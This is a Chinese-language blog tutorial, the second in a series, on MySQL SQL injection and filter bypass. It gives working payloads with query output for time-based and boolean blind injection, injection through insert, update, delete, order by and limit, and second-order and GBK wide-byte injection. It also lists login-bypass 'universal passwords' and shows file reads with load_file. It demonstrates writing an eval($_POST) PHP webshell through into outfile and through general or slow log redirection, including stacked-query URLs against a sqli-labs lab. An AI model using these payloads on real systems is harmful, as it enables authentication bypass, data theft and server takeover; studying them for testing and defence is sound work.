SQL注入及bypass思路(2)

接上回继续分解 SQL注入及bypass思路(1)

盲注

盲注在这里归纳为:

  • 时间盲注
  • 布尔盲注

其实在如今的实际环境中,一般盲注的情况比较多,时间盲注太花费时间,同时对网络要求比较高,二分,dnslog等等可以加快注入的进程

盲注需要注意的问题

  • 在盲注中使用 and,你得确定你查询的值得存在
  • 在返回多组数据的情况下,你的延时不再是单纯的sleep(5),它将根据你返回的数据条数来反复执行
  • 在如同搜索型时尽量搜索存在且数目较少的关键词
  • 尽量不要使用or

如果吐司文章看不了的话可以看看安全客上的这篇:

https://www.anquanke.com/post/id/170626

盲注的本质是猜解,根据页面运行时间的差异或者页面返回结果的差异获取数据

简单时间盲注

时间盲注也叫延时注入,一般用到函数sleep() BENCHMARK(),还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢),查阅mysql手册会发现更多可以使用的东西

关于benchmark 和 笛卡尔积

BENCHMARK()函数,可以测试某些特定操作的执行速度,在这里我们通过大量运算来模拟延时

mysql> select benchmark(10000000,sha1(1));
+-----------------------------+
| benchmark(10000000,sha1(1)) |
+-----------------------------+
|                           0 |
+-----------------------------+
1 row in set (4.60 sec)

mysql> select * from user where id=-1 or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0);
Empty set (4.25 sec)

mysql> select * from user where id=-1 or if(ascii(substr(database(),1,1))>200,benchmark(10000000,sha(1)),0);
Empty set (0.00 sec)

笛卡尔积也是通过大量运算模拟延时

不推荐使用笛卡尔积,当数据过多的时候会造成dos

mysql> select count(*) from information_schema.tables A,information_schema.tables B;
+----------+
| count(*) |
+----------+
|    47524 |
+----------+
1 row in set (0.01 sec)

mysql> select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C;
+----------+
| count(*) |
+----------+
| 10360232 |
+----------+
1 row in set (0.25 sec)

mysql> select * from user where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0);
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.25 sec)

mysql> select * from user where '1'='2' or if(ascii(substr(database(),1,1))>200,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0);
Empty set (0.00 sec)

可以看出都是利用if语句配合分割函数和延时操作来进行时间盲注

一般时间盲注我们还需要使用条件判断函数

if()

if(expre1,expre2,expre3)

当expre1为true时,返回expre2,false时,返回expre3

盲注的同时也配合着mysql提供的分割函数,与正则函数,like函数,比较函数等等

substr
substring
left
...

为了提高盲注速度可以在找到过滤和注入方式后,使用一门拿手的语言编写盲注脚本来解放双手

我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的有ascii()``hex()等等

case when then else end

语句比较简单不做过多解释了,看例子就会

mysql> select * from user where id =1 and case when (substr((select user()),1,1)="rr") then sleep(3) else 1 end;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id =1 and case when (substr((select user()),1,1)="r") then sleep(3) else 1 end;
Empty set (3.00 sec)

布尔盲注

布尔盲注的思路很多,比如正则匹配,比较函数,运算符等等,推荐可以看看:https://www.anquanke.com/post/id/170626

  • 直接通过字符串截取对比

    mysql> select * from user where id =1 and substr((select user()),1,1)='r';
    +------+----------+----------+
    | id   | username | password |
    +------+----------+----------+
    |    1 | admin    | admin    |
    +------+----------+----------+
    1 row in set (0.00 sec)
    
    mysql> select * from user where id =1 and substr((select user()),1,2)='r';
    Empty set (0.00 sec)
    
  • 使用IFNULL()函数

    IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。

    mysql> select * from user where id =1 and IFNULL((substr((select user()),1,1)='r'),0);
    +------+----------+----------+
    | id   | username | password |
    +------+----------+----------+
    |    1 | admin    | admin    |
    +------+----------+----------+
    1 row in set (0.00 sec)
    
    mysql> select * from user where id =1 and IFNULL((substr((select user()),1,2)='r'),0);
    Empty set (0.00 sec)
    
  • 使用比较函数strcmp()

    mysql> select * from user where id =1 and strcmp((substr((select user()),1,1)='r'),1);
    Empty set (0.00 sec)
    
    mysql> select * from user where id =1 and strcmp((substr((select user()),1,2)='r'),1);
    +------+----------+----------+
    | id   | username | password |
    +------+----------+----------+
    |    1 | admin    | admin    |
    +------+----------+----------+
    1 row in set (0.00 sec)
    
    mysql> select * from user where id =1 and 0=strcmp((substr((select user()),1,1)),'o');
    Empty set (0.00 sec)
    
    mysql> select * from user where id =1 and 0=strcmp((substr((select user()),1,1)),'r');
    +------+----------+----------+
    | id   | username | password |
    +------+----------+----------+
    |    1 | admin    | admin    |
    +------+----------+----------+
    1 row in set (0.00 sec)
    

    小技巧

    在没有办法的情况下必须使用到or的延时注入不如试试子查询,它也只将延时5s

    mysql> select * from user where id =-1 or if((substr((select user()),1,1)='r'),((select sleep(5) from information_schema.schemata as b)),1);
    ERROR 1242 (21000): Subquery returns more than 1 row
    mysql> select * from user where id =-1 or if((substr((select user()),1,1)='o'),((select sleep(5) from information_schema.schemata as b)),1);
    +------+----------+----------+
    | id   | username | password |
    +------+----------+----------+
    |    1 | admin    | admin    |
    +------+----------+----------+
    1 row in set (0.00 sec)
    

    第一条语句虽然报错但还是产生了明显的延时

insert,delete,update注入

这里对应的是数据库插入,删除,更新操作,insertdelteupdate主要是用到盲注和报错注入,此类注入点不建议使用sqlmap等工具,会造成大量垃圾数据和其他情况

insert

这类漏洞注入漏洞点假如没闭合是会产生很多垃圾数据的,建议手工或者自己写工具

一般这种注入会出现在注册,ip头,留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现

insert 报错

mysql> insert into user (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin123");
Query OK, 1 row affected (0.04 sec)

mysql> select * from user;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
+------+-----------------------------------------------+----------+
2 rows in set (0.00 sec)

mysql> insert into user (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin123");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
mysql> select * from user;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
+------+-----------------------------------------------+----------+
2 rows in set (0.00 sec)

insert 盲注

int型可以使用运算符,比如加减乘除 and or 异或 移位等等

mysql> insert into user values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into user values (2+if((substr((select user()),1,1)='a'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from user;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
|    2 | 1                                             | admin    |
|    3 | 1                                             | admin    |
+------+-----------------------------------------------+----------+
4 rows in set (0.00 sec)

字符型注意闭合不能使用and

mysql> insert into user values (4,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into user values (4,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> select * from user;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
|    2 | 1                                             | admin    |
|    3 | 1                                             | admin    |
|    4 | 1                                             | admin    |
|    4 | 0                                             | admin    |
+------+-----------------------------------------------+----------+
6 rows in set (0.00 sec)

可以看出。盲注会产生大量的垃圾数据

delete

报错注入同上

值得注意的是delete注入很危险,语句不当将会亲人两行泪

例如 or 1=1,因为1=1为true,所以每一行被删除

他以前sqlmap一把梭,现在过得很好,每顿都有人送饭到手上,吃上了皇粮

所以在delete注入时使用 or 一定要为 false

or 1=1删库的例子:

mysql> select * from user;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
|    2 | 1                                             | admin    |
|    3 | 1                                             | admin    |
|    4 | 1                                             | admin    |
|    4 | 0                                             | admin    |
+------+-----------------------------------------------+----------+
6 rows in set (0.00 sec)

mysql> delete from user where id =1 or 1=1;
Query OK, 6 rows affected (0.00 sec)

mysql> select * from user;
Empty set (0.00 sec)

报错注入

mysql> delete from user where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

盲注

or 配上if()函数使用不当也会导致删库

if(expr1,expr2,expr3)

如果expr1的值为true,返回expr2的值,如果expr1的值为false,返回expr3的值

mysql> delete from user where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1);
Query OK, 1 row affected (0.00 sec)

所以delete中 or 的正确使用方法(or 右边要为false)

mysql> insert into user values (1,"admin","admin");
Query OK, 1 row affected (0.00 sec)

mysql> delete from user where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from user where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)

update

与上面类似

mysql> select * from user;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> update admin set id="5"+sleep(5)+"" where id=1;
ERROR 1146 (42S02): Table 'sqlvul.admin' doesn't exist
mysql> update user set id="5"+sleep(5)+"" where id=1;
Query OK, 1 row affected (5.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

关于寻找 update,insert注入

我们可以尝试性插入引号,双引号,转义符,让语句不能正常执行,然后如果插入失败,更新失败,再深入测试是否存在注入

二次注入

二次注入的原理是sql语句没有被转义直接存入数据库,然后再被读取查询而导致的

二次注入在php中通常见于,插入时被addslasher() get_magic_quotes_gpc等等转义,但是写入数据库时还是使用原来的数据,二次注入造成原因是多种多样的。

例如从数据库中取出数据时,信任了数据库中的数据,未经过过滤而直接使用,导致二次注入的出现

在没有被单引号包裹的sql语句下,我们可以用十六进制编码它,这样就不会带有单引号等

mysql> insert into user (id,username,password) values ('3',0x61646D696E27313131,'11');
Query OK, 1 row affected (0.00 sec)

mysql> select * from user;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
2 rows in set (0.00 sec)

想要具体了解这个可以做做 sqli-labs 24课,二次注入在没有源码的情况下较难发现,通常见于注册

宽字节注入

1,没使用宽字节
%27 -> %5c%27
2,使用宽字节
%df%27 -> %df%5c%27 ->運'

解释:

  • 在我们输入单引号时,过滤函数将我们的单引号加入了转义字符,则\变成了\'
  • 我们输入经过转换后由于编码的不同把%df%5c转换成了一个汉字,从而导致了单引号逃逸了出来

想要具体了解找题做的话,可以做做sqli-labs 33课

关于宽字节注入的原理

程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入

比如PHP的编码为 UTF-8MySql的编码设置为了gbk

前端输入%df%27时首先经过上面addslashes函数转义变成了%df%5c%27%5c是反斜杠\),之后在数据库查询前因为设置了GBK编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c转换成了汉字,而单引号就逃逸了出来,从而造成了注入漏洞。

宽字节注入的关键点有两个:

  • 需要将数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
  • 设置的宽字符集可能吃掉转义符号\(对应的编码为0x5c,即低位中包含正常的0x5c就行了)

order by 注入

这是一种特殊的注入

sql语句为 select * from user order by $id

我们一般用 order by来判断它的列数,其实它就是一个依照第几个列来排序的过程

order by注入是不能直接使用and 1=1来判断的,它需要用到条件语句

mysql> select * from user order by id;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
2 rows in set (0.00 sec)

mysql> select * from user order by username;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    5 | admin     | admin    |
|    3 | admin'111 | 11       |
+------+-----------+----------+
2 rows in set (0.00 sec)

order by 盲注

布尔

简单的判断

mysql> select * from user order by if(1=1,username,password);
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    5 | admin     | admin    |
|    3 | admin'111 | 11       |
+------+-----------+----------+
2 rows in set (0.00 sec)

mysql> select * from user order by if(1=2,username,password);
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
2 rows in set (0.00 sec)

简单的注入

mysql> select * from user order by if((substr((select user()),1,1)='r1'),username,password);
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
2 rows in set (0.00 sec)

mysql> select * from user order by if((substr((select user()),1,1)='r'),username,password);
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    5 | admin     | admin    |
|    3 | admin'111 | 11       |
+------+-----------+----------+
2 rows in set (0.00 sec)

时间盲注

时间盲注不能直接简单的sleep(),因为他会对每条内容来执行你的语句,所以会造成dos,测试获取速度慢等问题,这时候我们需要用到子查询

mysql> select * from user order by if((substr((select user()),1,1)='r'),sleep(5),password);
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
2 rows in set (10.00 sec)

可以看到表中有两条数据,就使用了2*5

我们写一条简单的子查询试试

mysql> select * from user order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password);
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
2 rows in set (2.00 sec)

order by 报错注入

mysql> select * from user order by (extractvalue(1,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

from 注入

from 后面的注入比较少,还是提一下

select * from $id;
  • 可以结合 order by来注入
  • 可以使用联合注入来注入
mysql> select * from user union select 1,user(),3;
+------+----------------+----------+
| id   | username       | password |
+------+----------------+----------+
|    3 | admin'111      | 11       |
|    5 | admin          | admin    |
|    1 | root@localhost | 3        |
+------+----------------+----------+
3 rows in set (0.00 sec)

方法跟普通注入一样的,自己加上表名

limit 注入

这种注入也不是很常见,可以参考:

https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

或者P牛的转载:

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

select * from user where id >0 limit 0,1 $id

利用方法大佬已经给出了,使用PROCEDURE ANALYSE配合报错注入

mysql> select * from user where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

直接使用sleep不行,需要用benchmark代替

select * from admin where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);

再谈万能密码登录

万能密码基本大家都用过,各种各样的,如下

'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

其实根据前面的文章我们很容易看出,它的原理就是让我们的条件恒成立,至于为什么这么多种,就是根据语句的形式来闭合的

这里面涉及到运算符的优先级,mysql运算的特性,然后下面我们以几个例子来做做最另类的万能密码

mysql> select * from user where username = '/*' and password = '*/';
Empty set (0.00 sec)

注释绕过

mysql> select * from user where username = ''or 1=1-- ' and password = '123';
    -> ;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
2 rows in set (0.00 sec)

经典的or 1=1-- 其中1=1恒为 true,然后导致每条数据都成立返回

那么知道了这个原理怎么构造一个简单的万能密码呢

mysql> select ''=0;
+------+
| ''=0 |
+------+
|    1 |
+------+
1 row in set (0.00 sec)

mysql> select 1=0=0;
+-------+
| 1=0=0 |
+-------+
|     1 |
+-------+
1 row in set (0.00 sec)

我们可以看到mysql中空字符串''等于0,结果为1,也就是true,知道这个特性我们可以来构造我们的万能密码了

mysql> select * from user;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    4 | 3test     | 11       |
|    1 | 1test     | 11       |
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
4 rows in set (0.00 sec)

mysql> select * from user where username=''|0#' and password='123';
    -> ;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
2 rows in set, 3 warnings (0.00 sec)

小注

原文中这里其实没有讲清楚,我们使用'|0#'这个万能密码的时候,查询结果只出现了两条数据,而username为数字开头的数据则没有出现,因为Mysql数据库中,varchar与数字比较时,会强制转换varchar为数字再进行比较(类似php语言中的intval函数处理)非数字开头的varchar字符串会转换为0再进行比较,数字开头的varchar字符串转化为开头对应数字部分的值再进行比较,所以当username和0进行比较时,会返回所有不是数字开头的结果。

读写文件与堆叠查询

mysql中在mysql 5.6.34版本之后secure_file_priv的值默认为NULL,而secure_file_priv为null,我们就不能导出文件

以下都建立在secure_file_priv的默认值被修改为无才能利用,且这个只能手工修改配置文件,不能使用sql语句,也就是需要管理员不知道干了什么帮你修改好这个权限才可以

windows系统在my.ini的[mysqld]下面加上secure_file_priv=,linux的在/etc/my/cnf,同时读写权限问题就不用说了

小注

在我们测试 mysql 写 webshell 时需要开启 secure_file_priv,否则无法写入,该参数在 mysql 5.6.34 以后默认是 NULL

查看 secure_file_priv的状态

mysql> show variables like 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+
1 row in set (0.00 sec)

secure_file_priv 的值有三种情况:
| | NULL(默认) | 不允许导入导出文件
| | D:\test | 只允许在 D:\test 目录导入导出文件
| | 空 | 不限制路径,可以任意导入导出文件

我们手动将secure_file_priv设置为空

设置后重启mysql

可以看到已经设置为空了

读文件

可以把文件hex一下输出,文件名也是支持hex和char的

mysql> select * from user union select 1,hex(load_file('D:\\phpStudy\\PHPTutorial\\WWW\\springbird.txt')),3;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    4 | 3test     | 11       |
|    1 | 1test     | 11       |
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
|    1 | 6869      | 3        |
+------+-----------+----------+
5 rows in set (0.00 sec)

当然你进入了phpmyadmin类似的平台可以执行sql语句,你可以选择把导入的数据插入表中,同时支持导入的函数还有load data infile

mysql> create table test(test text);
Query OK, 0 rows affected (0.06 sec)

mysql> insert into test(test) values (load_file('D:\\phpStudy\\PHPTutorial\\WWW\\springbird.txt'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from test;
+------+
| test |
+------+
| hi   |
+------+
1 row in set (0.00 sec)

如果能读文件在渗透测试中往往很有用,可以读取配置文件,系统问题等等关键信息,在作者以前的一次渗透中,进入一个后台功能全部被限制死了,但是可以执行导入,通过一个编辑器的目录遍历,发现某文件时间不一致,读取出来发现是webshell,应该是某黑客进去之后做的手脚

写文件

写文件我们一般用到dumpfileoutfile,它们其实是有区别的

outfile会在行末写入新行,而且会转义换行符

dumpfile能导出一个完整的文件,不会有任何转义,所以我们udf提取一般用的dumpfile

mysql> select * from user where id =1 union select 1,'<?php eval($_POST[cmd]);?>',3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\springbird1.php';
Query OK, 2 rows affected (0.00 sec)

后来大佬们找到一种方法通过日志来写shell解决这个史诗级难题,但是需要能直接执行sql语句,利用条件有限

简单来说,日志写马的流程为:开启日志记录,修改日志存储位置,sql语句写马

set global general_log=on;
set global general_log_file='D://404.php';
select '<?php eval($_POST['404']) ?>';

还有一种慢日志,原理一样

mysql> show global variables like '%query_log%'
    -> ;
+---------------------+-------------------------------------------------------------+
| Variable_name       | Value                                                       |
+---------------------+-------------------------------------------------------------+
| slow_query_log      | OFF                                                         |
| slow_query_log_file | D:\phpstudy\PHPTutorial\MySQL\data\LAPTOP-M4APUKKN-slow.log |
+---------------------+-------------------------------------------------------------+
2 rows in set (0.00 sec)

步骤为

set global slow_query_log=1;
set global slow_query_log_file='D://404.php'
select '<?php eval($_POST['404']) ?>' or sleep(15);

堆叠查询

mysql是支持堆叠查询的,用;分割语句,但是php原生的连接方式不支持,但是使用PDO,mysqli_multi_query()等等是支持多语句的,在我们使用堆叠查询的时候基本是没有回显的,而且其实很难遇到这种环境

mysql> select * from user where id=1;select user();
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | 1test    | 11       |
+------+----------+----------+
1 row in set (0.00 sec)

+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

这里讲到一起就是因为,加入支持堆叠查询还可以用日志来写shell

http://192.168.59.129/Less-38/?id=1%27;set global general_log=on;set global general_log_file='C://phpstudy//404.php';--+

http://192.168.59.129/Less-38/?id=1%27;select '<?php eval($_POST[404]) ?>';--+

参考链接

posted @ 2021-03-02 17:03  春告鳥  阅读(742)  评论(0编辑  收藏  举报